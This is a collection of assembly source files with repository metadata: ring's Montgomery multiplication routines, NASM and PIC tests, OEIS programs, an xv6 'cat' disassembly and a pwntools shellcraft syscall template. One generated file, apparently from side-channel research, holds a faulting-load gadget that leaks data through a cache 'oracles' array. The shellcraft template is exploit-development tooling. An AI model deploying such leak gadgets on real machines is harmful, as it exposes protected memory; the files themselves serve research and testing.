$L$mulx4x_1st mov rax,QWORD[rsp] mov rdi,QWORD[8+rsp] adc r15,rbp add r14,r15 sbb r15,r15 mov QWORD[((-8))+rbx],r14 jmp NEAR $L$mulx4x_outer ALIGN 32 $L$mulx4x_outer: mov rdx,QWORD[rdi] lea rdi,[8+rdi] sub rsi,rax mov QWORD[rbx],r15 lea rbx,[((64+32))+rsp] sub rcx,rax mulx r11,r8,QWORD[rsi] xor ebp,ebp mov r9,rdx mulx r12,r14,QWORD[8+rsi] adox r8,QWORD[((-32))+rbx] adcx r11,r14 mulx r13,r15,QWORD[16+rsi] adox r11,QWORD[((-24))+rbx] adcx r12,r15 adox r12,QWORD[((-16))+rbx] adcx r13,rbp adox r13,rbp mov QWORD[8+rsp],rdi mov r15,r8 imul r8,QWORD[24+rsp] xor ebp,ebp mulx r14,rax,QWORD[24+rsi] mov rdx,r8 adcx r13,rax adox r13,QWORD[((-8))+rbx] adcx r14,rbp lea rsi,[32+rsi] adox r14,rbp mulx r10,rax,QWORD[rcx] adcx r15,rax adox r10,r11 mulx r11,rax,QWORD[8+rcx] adcx r10,rax adox r11,r12 mulx r12,rax,QWORD[16+rcx] mov QWORD[((-32))+rbx],r10 adcx r11,rax adox r12,r13 mulx r15,rax,QWORD[24+rcx] mov rdx,r9 mov QWORD[((-24))+rbx],r11 lea rcx,[32+rcx] adcx r12,rax adox r15,rbp mov rdi,QWORD[48+rsp] mov QWORD[((-16))+rbx],r12 jmp NEAR $L$mulx4x_inner ALIGN 32 $L$mulx4x_inner: mulx rax,r10,QWORD[rsi] adcx r15,rbp adox r10,r14 mulx r14,r11,QWORD[8+rsi] adcx r10,QWORD[rbx] adox r11,rax mulx rax,r12,QWORD[16+rsi] adcx r11,QWORD[8+rbx] adox r12,r14 mulx r14,r13,QWORD[24+rsi] mov rdx,r8 adcx r12,QWORD[16+rbx] adox r13,rax adcx r13,QWORD[24+rbx] adox r14,rbp lea rsi,[32+rsi] lea rbx,[32+rbx] adcx r14,rbp adox r10,r15 mulx r15,rax,QWORD[rcx] adcx r10,rax adox r11,r15 mulx r15,rax,QWORD[8+rcx] adcx r11,rax adox r12,r15 mulx r15,rax,QWORD[16+rcx] mov QWORD[((-40))+rbx],r10 adcx r12,rax adox r13,r15 mulx r15,rax,QWORD[24+rcx] mov rdx,r9 mov QWORD[((-32))+rbx],r11 mov QWORD[((-24))+rbx],r12 adcx r13,rax adox r15,rbp lea rcx,[32+rcx] mov QWORD[((-16))+rbx],r13 dec rdi jnz NEAR $L$mulx4x_inner mov rax,QWORD[rsp] mov rdi,QWORD[8+rsp] adc r15,rbp sub rbp,QWORD[rbx] adc r14,r15 sbb r15,r15 mov QWORD[((-8))+rbx],r14 cmp rdi,QWORD[16+rsp] jne NEAR $L$mulx4x_outer lea rbx,[64+rsp] sub rcx,rax neg r15 mov rdx,rax shr rax,3+2 mov rdi,QWORD[32+rsp] jmp NEAR $L$mulx4x_sub ALIGN 32 $L$mulx4x_sub: mov r11,QWORD[rbx] mov r12,QWORD[8+rbx] mov r13,QWORD[16+rbx] mov r14,QWORD[24+rbx] lea rbx,[32+rbx] sbb r11,QWORD[rcx] sbb r12,QWORD[8+rcx] sbb r13,QWORD[16+rcx] sbb r14,QWORD[24+rcx] lea rcx,[32+rcx] mov QWORD[rdi],r11 mov QWORD[8+rdi],r12 mov QWORD[16+rdi],r13 mov QWORD[24+rdi],r14 lea rdi,[32+rdi] dec rax jnz NEAR $L$mulx4x_sub sbb r15,0 lea rbx,[64+rsp] sub rdi,rdx DB 102,73,15,110,207 pxor xmm0,xmm0 pshufd xmm1,xmm1,0 mov rsi,QWORD[40+rsp] jmp NEAR $L$mulx4x_cond_copy ALIGN 32 $L$mulx4x_cond_copy: movdqa xmm2,XMMWORD[rbx] movdqa xmm3,XMMWORD[16+rbx] lea rbx,[32+rbx] movdqu xmm4,XMMWORD[rdi] movdqu xmm5,XMMWORD[16+rdi] lea rdi,[32+rdi] movdqa XMMWORD[(-32)+rbx],xmm0 movdqa XMMWORD[(-16)+rbx],xmm0 pcmpeqd xmm0,xmm1 pand xmm2,xmm1 pand xmm3,xmm1 pand xmm4,xmm0 pand xmm5,xmm0 pxor xmm0,xmm0 por xmm4,xmm2 por xmm5,xmm3 movdqu XMMWORD[(-32)+rdi],xmm4 movdqu XMMWORD[(-16)+rdi],xmm5 sub rdx,32 jnz NEAR $L$mulx4x_cond_copy mov QWORD[rbx],rdx mov rax,1 mov r15,QWORD[((-48))+rsi] mov r14,QWORD[((-40))+rsi] mov r13,QWORD[((-32))+rsi] mov r12,QWORD[((-24))+rsi] mov rbp,QWORD[((-16))+rsi] mov rbx,QWORD[((-8))+rsi] lea rsp,[rsi] $L$mulx4x_epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_bn_mulx4x_mont: DB 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105 DB 112,108,105,99,97,116,105,111,110,32,102,111,114,32,120,56 DB 54,95,54,52,44,32,67,82,89,80,84,79,71,65,77,83 DB 32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115 DB 115,108,46,111,114,103,62,0 ALIGN 16 EXTERN __imp_RtlVirtualUnwind ALIGN 16 mul_handler: push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD[120+r8] mov rbx,QWORD[248+r8] mov rsi,QWORD[8+r9] mov r11,QWORD[56+r9] mov r10d,DWORD[r11] lea r10,[r10*1+rsi] cmp rbx,r10 jb NEAR $L$common_seh_tail mov rax,QWORD[152+r8] mov r10d,DWORD[4+r11] lea r10,[r10*1+rsi] cmp rbx,r10 jae NEAR $L$common_seh_tail mov r10,QWORD[192+r8] mov rax,QWORD[8+r10*8+rax] jmp NEAR $L$common_pop_regs ALIGN 16 sqr_handler: push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD[120+r8] mov rbx,QWORD[248+r8] mov rsi,QWORD[8+r9] mov r11,QWORD[56+r9] mov r10d,DWORD[r11] lea r10,[r10*1+rsi] cmp rbx,r10 jb NEAR $L$common_seh_tail mov r10d,DWORD[4+r11] lea r10,[r10*1+rsi] cmp rbx,r10 jb NEAR $L$common_pop_regs mov rax,QWORD[152+r8] mov r10d,DWORD[8+r11] lea r10,[r10*1+rsi] cmp rbx,r10 jae NEAR $L$common_seh_tail mov rax,QWORD[40+rax] $L$common_pop_regs: mov rbx,QWORD[((-8))+rax] mov rbp,QWORD[((-16))+rax] mov r12,QWORD[((-24))+rax] mov r13,QWORD[((-32))+rax] mov r14,QWORD[((-40))+rax] mov r15,QWORD[((-48))+rax] mov QWORD[144+r8],rbx mov QWORD[160+r8],rbp mov QWORD[216+r8],r12 mov QWORD[224+r8],r13 mov QWORD[232+r8],r14 mov QWORD[240+r8],r15 $L$common_seh_tail: mov rdi,QWORD[8+rax] mov rsi,QWORD[16+rax] mov QWORD[152+r8],rax mov QWORD[168+r8],rsi mov QWORD[176+r8],rdi mov rdi,QWORD[40+r9] mov rsi,r8 mov ecx,154 DD 0xa548f3fc mov rsi,r9 xor rcx,rcx mov rdx,QWORD[8+rsi] mov r8,QWORD[rsi] mov r9,QWORD[16+rsi] mov r10,QWORD[40+rsi] lea r11,[56+rsi] lea r12,[24+rsi] mov QWORD[32+rsp],r10 mov QWORD[40+rsp],r11 mov QWORD[48+rsp],r12 mov QWORD[56+rsp],rcx call QWORD[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret section .pdata rdata align=4 ALIGN 4 DD $L$SEH_begin_GFp_bn_mul_mont wrt ..imagebase DD $L$SEH_end_GFp_bn_mul_mont wrt ..imagebase DD $L$SEH_info_GFp_bn_mul_mont wrt ..imagebase DD $L$SEH_begin_bn_mul4x_mont wrt ..imagebase DD $L$SEH_end_bn_mul4x_mont wrt ..imagebase DD $L$SEH_info_bn_mul4x_mont wrt ..imagebase DD $L$SEH_begin_bn_sqr8x_mont wrt ..imagebase DD $L$SEH_end_bn_sqr8x_mont wrt ..imagebase DD $L$SEH_info_bn_sqr8x_mont wrt ..imagebase DD $L$SEH_begin_bn_mulx4x_mont wrt ..imagebase DD $L$SEH_end_bn_mulx4x_mont wrt ..imagebase DD $L$SEH_info_bn_mulx4x_mont wrt ..imagebase section .xdata rdata align=8 ALIGN 8 $L$SEH_info_GFp_bn_mul_mont: DB 9,0,0,0 DD mul_handler wrt ..imagebase DD $L$mul_body wrt ..imagebase,$L$mul_epilogue wrt ..imagebase $L$SEH_info_bn_mul4x_mont: DB 9,0,0,0 DD mul_handler wrt ..imagebase DD $L$mul4x_body wrt ..imagebase,$L$mul4x_epilogue wrt ..imagebase $L$SEH_info_bn_sqr8x_mont: DB 9,0,0,0 DD sqr_handler wrt ..imagebase DD $L$sqr8x_prologue wrt ..imagebase,$L$sqr8x_body wrt ..imagebase,$L$sqr8x_epilogue wrt ..imagebase ALIGN 8 $L$SEH_info_bn_mulx4x_mont: DB 9,0,0,0 DD sqr_handler wrt ..imagebase DD $L$mulx4x_prologue wrt ..imagebase,$L$mulx4x_body wrt ..imagebase,$L$mulx4x_epilogue wrt ..imagebase ALIGN 8
15.677507
104
0.682757
[ "Apache-2.0" ]
10allday-kai/api-daemon
third-party/ring/pregenerated/tmp/x86_64-mont-nasm.asm
23,140
Assembly
;Testname=br978756; Arguments=-Ox -felf64 -obr978756.o; Files=stdout stderr br978756.o [bits 64] MOVNTDQA xmm1, oword [rsi] MOVLPD xmm2, qword [rdi] MOVLPD xmm2, [rdi] MOVLPD qword [rdi], xmm2 MOVLPD [rdi], xmm2
28.5
87
0.688596
[ "BSD-2-Clause" ]
bitwiseworks/nasm-os2
test/br978756.asm
228
Assembly
#include "Platform.inc" #include "FarCalls.inc" #include "Lcd.inc" #include "../../../../firmware/Platform/Lcd/Isr.inc" #include "TestFixture.inc" radix decimal LcdFlagsAreAllClearedTest code global testArrange testArrange: banksel TMR0 movf TMR0, W banksel lcdFlags movwf lcdFlags testAct: fcall initialiseLcd testAssert: banksel lcdFlags .assert "lcdFlags == 0, 'Expected all lcdFlags to be cleared.'" return end
16.185185
64
0.73913
[ "MIT" ]
pete-restall/Cluck2Sesame-Prototype
src/firmware-tests/Platform/Lcd/Initialisation/LcdFlagsAreAllClearedTest.asm
437
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1a4d1, %rsi lea addresses_WC_ht+0xcc2d, %rdi nop nop nop sub $56150, %r8 mov $49, %rcx rep movsl mfence lea addresses_WT_ht+0x1db39, %r10 nop nop xor %rax, %rax mov (%r10), %ecx nop nop nop xor $25586, %r10 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %r9 push %rax push %rdx // Store lea addresses_WC+0x1257b, %r8 clflush (%r8) nop nop nop add %rax, %rax mov $0x5152535455565758, %r11 movq %r11, %xmm3 movups %xmm3, (%r8) nop nop dec %r10 // Store lea addresses_D+0xae1, %r10 nop cmp %r11, %r11 movb $0x51, (%r10) nop xor $60281, %r10 // Store lea addresses_WC+0xda85, %rax nop nop nop nop nop add %r12, %r12 movw $0x5152, (%rax) nop nop nop nop nop dec %r10 // Store mov $0x799, %r11 nop nop nop nop mfence movw $0x5152, (%r11) nop sub %r9, %r9 // Store lea addresses_RW+0x37f9, %r10 clflush (%r10) nop nop nop nop nop xor $55831, %r9 movb $0x51, (%r10) and %r9, %r9 // Store lea addresses_RW+0x8bc6, %r12 nop nop inc %r9 movb $0x51, (%r12) xor %r12, %r12 // Store lea addresses_D+0x7d91, %rax nop cmp $9720, %r12 mov $0x5152535455565758, %rdx movq %rdx, %xmm2 vmovups %ymm2, (%rax) nop inc %rax // Store lea addresses_WT+0x15cb9, %rdx nop nop nop nop add %r10, %r10 mov $0x5152535455565758, %r11 movq %r11, %xmm7 vmovups %ymm7, (%rdx) nop xor $27470, %r11 // Store mov $0x1a39c70000000f51, %r9 nop inc %r10 mov $0x5152535455565758, %r8 movq %r8, %xmm4 movups %xmm4, (%r9) nop nop and $6856, %r10 // Store lea addresses_normal+0x183d1, %r12 and $40948, %r10 mov $0x5152535455565758, %rax movq %rax, (%r12) nop nop nop nop and %r10, %r10 // Store lea addresses_D+0x15c4d, %r10 nop nop nop nop nop and %rax, %rax mov $0x5152535455565758, %r12 movq %r12, %xmm1 movups %xmm1, (%r10) nop add %rax, %rax // Store mov $0x3b1, %r10 sub $43270, %rax movw $0x5152, (%r10) cmp %r9, %r9 // Store lea addresses_UC+0x84d1, %r8 nop nop nop inc %rdx mov $0x5152535455565758, %r12 movq %r12, %xmm4 movups %xmm4, (%r8) cmp %rax, %rax // Store lea addresses_US+0x109d1, %r8 nop nop nop nop add $58556, %rdx mov $0x5152535455565758, %r9 movq %r9, (%r8) nop inc %r11 // Faulty Load lea addresses_D+0x3cd1, %rdx clflush (%rdx) nop nop nop nop nop and $21170, %r8 mov (%rdx), %rax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rdx pop %rax pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
31.110672
2,999
0.647567
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_138.asm
7,871
Assembly
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; Add64RI8 mov rax, 0x2 ;TEST_BEGIN_RECORDING add rax, 0x7 ;TEST_END_RECORDING
15.583333
25
0.743316
[ "BSD-3-Clause" ]
0xDEC0DE8/mcsema
mc-sema/validator/x86_64/tests/ADD64ri8.asm
187
Assembly
10008a30: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4] 10008a34: 8b 48 3c mov ecx,DWORD PTR [eax+0x3c] 10008a37: 03 c8 add ecx,eax 10008a39: 0f b7 41 14 movzx eax,WORD PTR [ecx+0x14] 10008a3d: 53 push ebx 10008a3e: 56 push esi 10008a3f: 0f b7 71 06 movzx esi,WORD PTR [ecx+0x6] 10008a43: 33 d2 xor edx,edx 10008a45: 85 f6 test esi,esi 10008a47: 57 push edi 10008a48: 8d 44 08 18 lea eax,[eax+ecx*1+0x18] 10008a4c: 76 1e jbe 0x10008a6c 10008a4e: 8b 7c 24 14 mov edi,DWORD PTR [esp+0x14] 10008a52: 8b 48 0c mov ecx,DWORD PTR [eax+0xc] 10008a55: 3b f9 cmp edi,ecx 10008a57: 72 09 jb 0x10008a62 10008a59: 8b 58 08 mov ebx,DWORD PTR [eax+0x8] 10008a5c: 03 d9 add ebx,ecx 10008a5e: 3b fb cmp edi,ebx 10008a60: 72 0c jb 0x10008a6e 10008a62: 83 c2 01 add edx,0x1 10008a65: 83 c0 28 add eax,0x28 10008a68: 3b d6 cmp edx,esi 10008a6a: 72 e6 jb 0x10008a52 10008a6c: 33 c0 xor eax,eax 10008a6e: 5f pop edi 10008a6f: 5e pop esi 10008a70: 5b pop ebx 10008a71: c3 ret 10008a72: cc int3 10008a73: cc int3 10008a74: cc int3 10008a75: cc int3 10008a76: cc int3 10008a77: cc int3 10008a78: cc int3 10008a79: cc int3 10008a7a: cc int3 10008a7b: cc int3 10008a7c: cc int3 10008a7d: cc int3 10008a7e: cc int3 10008a7f: cc int3
46.159091
63
0.445593
[ "Unlicense" ]
SamantazFox/dds140-reverse-engineering
library/02_functions_batch1/unknown_10008a30.asm
2,031
Assembly
; A040755: Continued fraction for sqrt(783). ; 27,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54,1,54 mov $1,$0 cmp $0,0 sub $1,$0 gcd $1,2 add $1,25 add $0,$1 mul $0,$1 sub $0,675
26.25
189
0.603175
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/040/A040755.asm
315
Assembly
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>kcmp(pid1, pid2, type, idx1, idx2) -> str Invokes the syscall kcmp. See 'man 2 kcmp' for more information. Arguments: pid1(pid_t): pid1 pid2(pid_t): pid2 type(int): type idx1(unsigned): idx1 idx2(unsigned): idx2 Returns: int </%docstring> <%page args="pid1=0, pid2=0, type=0, idx1=0, idx2=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['pid1', 'pid2', 'type', 'idx1', 'idx2'] argument_values = [pid1, pid2, type, idx1, idx2] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_kcmp']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* kcmp(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
34.575472
87
0.632196
[ "MIT" ]
0x3c3e/pwntools
pwnlib/shellcraft/templates/common/linux/syscalls/kcmp.asm
3,665
Assembly
_cat: file format elf32-i386 Disassembly of section .text: 00000000 <cat>: char buf[512]; void cat(int fd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 56 push %esi 4: 53 push %ebx 5: 83 ec 10 sub $0x10,%esp 8: 8b 75 08 mov 0x8(%ebp),%esi int n; while((n = read(fd, buf, sizeof(buf))) > 0) { b: eb 1f jmp 2c <cat+0x2c> d: 8d 76 00 lea 0x0(%esi),%esi if (write(1, buf, n) != n) { 10: 89 5c 24 08 mov %ebx,0x8(%esp) 14: c7 44 24 04 a0 08 00 movl $0x8a0,0x4(%esp) 1b: 00 1c: c7 04 24 01 00 00 00 movl $0x1,(%esp) 23: e8 50 03 00 00 call 378 <write> 28: 39 c3 cmp %eax,%ebx 2a: 75 28 jne 54 <cat+0x54> void cat(int fd) { int n; while((n = read(fd, buf, sizeof(buf))) > 0) { 2c: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 33: 00 34: c7 44 24 04 a0 08 00 movl $0x8a0,0x4(%esp) 3b: 00 3c: 89 34 24 mov %esi,(%esp) 3f: e8 2c 03 00 00 call 370 <read> 44: 83 f8 00 cmp $0x0,%eax 47: 89 c3 mov %eax,%ebx 49: 7f c5 jg 10 <cat+0x10> if (write(1, buf, n) != n) { printf(1, "cat: write error\n"); exit(); } } if(n < 0){ 4b: 75 20 jne 6d <cat+0x6d> printf(1, "cat: read error\n"); exit(); } } 4d: 83 c4 10 add $0x10,%esp 50: 5b pop %ebx 51: 5e pop %esi 52: 5d pop %ebp 53: c3 ret { int n; while((n = read(fd, buf, sizeof(buf))) > 0) { if (write(1, buf, n) != n) { printf(1, "cat: write error\n"); 54: c7 44 24 04 16 08 00 movl $0x816,0x4(%esp) 5b: 00 5c: c7 04 24 01 00 00 00 movl $0x1,(%esp) 63: e8 38 04 00 00 call 4a0 <printf> exit(); 68: e8 eb 02 00 00 call 358 <exit> } } if(n < 0){ printf(1, "cat: read error\n"); 6d: c7 44 24 04 28 08 00 movl $0x828,0x4(%esp) 74: 00 75: c7 04 24 01 00 00 00 movl $0x1,(%esp) 7c: e8 1f 04 00 00 call 4a0 <printf> exit(); 81: e8 d2 02 00 00 call 358 <exit> 86: 8d 76 00 lea 0x0(%esi),%esi 89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000090 <main>: } } int main(int argc, char *argv[]) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 83 e4 f0 and $0xfffffff0,%esp 96: 57 push %edi 97: 56 push %esi 98: 53 push %ebx 99: 83 ec 24 sub $0x24,%esp 9c: 8b 7d 08 mov 0x8(%ebp),%edi int fd, i; if(argc <= 1){ 9f: 83 ff 01 cmp $0x1,%edi a2: 7e 6c jle 110 <main+0x80> cat(0); exit(); a4: 8b 5d 0c mov 0xc(%ebp),%ebx a7: be 01 00 00 00 mov $0x1,%esi ac: 83 c3 04 add $0x4,%ebx af: 90 nop } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ b0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) b7: 00 b8: 8b 03 mov (%ebx),%eax ba: 89 04 24 mov %eax,(%esp) bd: e8 d6 02 00 00 call 398 <open> c2: 85 c0 test %eax,%eax c4: 78 2a js f0 <main+0x60> printf(1, "cat: cannot open %s\n", argv[i]); exit(); } cat(fd); c6: 89 04 24 mov %eax,(%esp) if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ c9: 83 c6 01 add $0x1,%esi cc: 83 c3 04 add $0x4,%ebx if((fd = open(argv[i], 0)) < 0){ printf(1, "cat: cannot open %s\n", argv[i]); exit(); } cat(fd); cf: 89 44 24 1c mov %eax,0x1c(%esp) d3: e8 28 ff ff ff call 0 <cat> close(fd); d8: 8b 44 24 1c mov 0x1c(%esp),%eax dc: 89 04 24 mov %eax,(%esp) df: e8 9c 02 00 00 call 380 <close> if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ e4: 39 f7 cmp 